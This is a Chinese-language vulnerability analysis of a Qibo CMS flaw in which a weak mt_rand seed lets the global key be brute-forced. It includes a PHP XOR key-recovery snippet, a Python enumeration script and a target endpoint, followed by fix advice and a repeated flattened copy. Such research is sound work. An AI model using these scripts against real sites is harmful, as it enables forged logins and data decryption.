奇博CMS全局密钥可枚举漏洞分析
字数 1053 2025-08-18 11:39:00

奇博CMS全局密钥可枚举漏洞分析教学文档

漏洞概述

奇博CMS存在一个全局密钥可枚举漏洞,该漏洞源于PHP的mt_rand()函数伪随机数特性,结合系统密钥生成机制,导致攻击者可以通过暴力枚举方式获取系统全局密钥。

漏洞原理分析

1. 随机数生成缺陷

漏洞核心位于/inc/function.inc.php文件的557行rands函数:

mt_srand((double)microtime() * 1000000);
  • 使用microtime()乘以1000000作为随机数种子
  • 种子范围仅为1-999999(共100万种可能)
  • PHP的mt_rand()在种子已知时可预测随机数序列

2. 全局密钥生成机制

位于install.php第233行:

// 通过伪随机数生成字符串并写入配置文件
// 成为系统全局密钥

3. 加密函数分析(mymd5函数)

加密过程分为多个步骤:

  1. 获取绝密字符串

    $secret_string = $webdb[mymd5].$rand.'5*j,'
    
    • $webdb[mymd5]为全局密钥
    • $rand为可选参数
  2. 生成md5code

    $md5code = substr(md5($string), 8, 10);
    
    • 取原始字符串MD5值的第8位开始10个字符
  3. 生成key

    $key = md5($md5code.$secret_string);
    
  4. 生成code

    • 原始字符串与key进行异或运算
  5. 最终加密值

    base64_encode($code).$md5code
    

4. 逆向推导条件

要逆向推导出key值需要:

  1. 加密后的数据(去除最后10位md5code)
  2. 原始字符串

漏洞利用链

可利用文件

/do/swfuploadxml.php

  • 将用户名和用户ID通过mymd5加密后输出
  • 用户ID可通过访问http://target.com/member/userinfo.php获取

利用步骤

  1. 获取加密后的数据
  2. 获取原始字符串(用户名+用户ID)
  3. 通过异或运算推导部分key值
  4. 暴力枚举全局密钥

漏洞复现

环境要求

  • PHP版本:5.0-7.0(不同版本随机数生成方式不同)
  • 奇博CMS特定版本

复现步骤

第一步:生成所有可能的hash值

  • 枚举种子1-999999对应的所有hash值

第二步:获取逆向key值

  1. 从加密数据中提取:

    • md5code:3924372a07
    • base64编码的code值:FgYVEBVRSkEXBhVBMFY=
  2. 原始字符串示例:"testtesttest\t3"

  3. 使用以下PHP代码进行异或运算获取部分key值:

<?php
$string = "原始字符串";
$len = 32;
$code = base64_decode("base64加密的code值");

for($i=0; $i<strlen($string); $i++){
    $k = $i % $len;
    $key .= $string[$i] ^ $code[$k];
}

echo $key;
?>

第三步:枚举全局密钥
使用Python脚本暴力枚举:

import hashlib
import os
import base64
import time

def md5_convert(string):
    m = hashlib.md5()
    m.update(string.encode())
    return m.hexdigest()

start = time.time()
md5code = "3924372a07"
key = "bcfda495ccf59e"
file = open("php56.txt", "r")
for line in file:
    line = line.strip("\n")
    if len(line) == 10:
        str = "{}5*j,".format(md5code + line)
        code = "{}".format(md5_convert(str))
        if key in code:
            print(line)
            print("用时{}".format(time.time()-start))
            break

漏洞修复建议

  1. 使用更安全的随机数生成方式,如:
    random_int()
    
  2. 增加密钥复杂度
  3. 使用加密强度更高的算法
  4. 等官方发布安全补丁

安全影响

获取全局密钥后,攻击者可能:

  1. 解密系统敏感数据
  2. 伪造身份认证信息
  3. 执行其他未授权操作

免责声明

本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

奇博CMS全局密钥可枚举漏洞分析教学文档 漏洞概述 奇博CMS存在一个全局密钥可枚举漏洞,该漏洞源于PHP的 mt_rand() 函数伪随机数特性,结合系统密钥生成机制,导致攻击者可以通过暴力枚举方式获取系统全局密钥。 漏洞原理分析 1. 随机数生成缺陷 漏洞核心位于 /inc/function.inc.php 文件的557行 rands 函数: 使用 microtime() 乘以1000000作为随机数种子 种子范围仅为1-999999(共100万种可能) PHP的 mt_rand() 在种子已知时可预测随机数序列 2. 全局密钥生成机制 位于 install.php 第233行: 3. 加密函数分析(mymd5函数) 加密过程分为多个步骤: 获取绝密字符串 : $webdb[mymd5] 为全局密钥 $rand 为可选参数 生成md5code : 取原始字符串MD5值的第8位开始10个字符 生成key : 生成code : 原始字符串与key进行异或运算 最终加密值 : 4. 逆向推导条件 要逆向推导出key值需要: 加密后的数据(去除最后10位md5code) 原始字符串 漏洞利用链 可利用文件 /do/swfuploadxml.php 将用户名和用户ID通过mymd5加密后输出 用户ID可通过访问 http://target.com/member/userinfo.php 获取 利用步骤 获取加密后的数据 获取原始字符串(用户名+用户ID) 通过异或运算推导部分key值 暴力枚举全局密钥 漏洞复现 环境要求 PHP版本:5.0-7.0(不同版本随机数生成方式不同) 奇博CMS特定版本 复现步骤 第一步:生成所有可能的hash值 枚举种子1-999999对应的所有hash值 第二步:获取逆向key值 从加密数据中提取: md5code:3924372a07 base64编码的code值:FgYVEBVRSkEXBhVBMFY= 原始字符串示例:"testtesttest\t3" 使用以下PHP代码进行异或运算获取部分key值: 第三步:枚举全局密钥 使用Python脚本暴力枚举: 漏洞修复建议 使用更安全的随机数生成方式,如: 增加密钥复杂度 使用加密强度更高的算法 等官方发布安全补丁 安全影响 获取全局密钥后,攻击者可能: 解密系统敏感数据 伪造身份认证信息 执行其他未授权操作 免责声明 本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。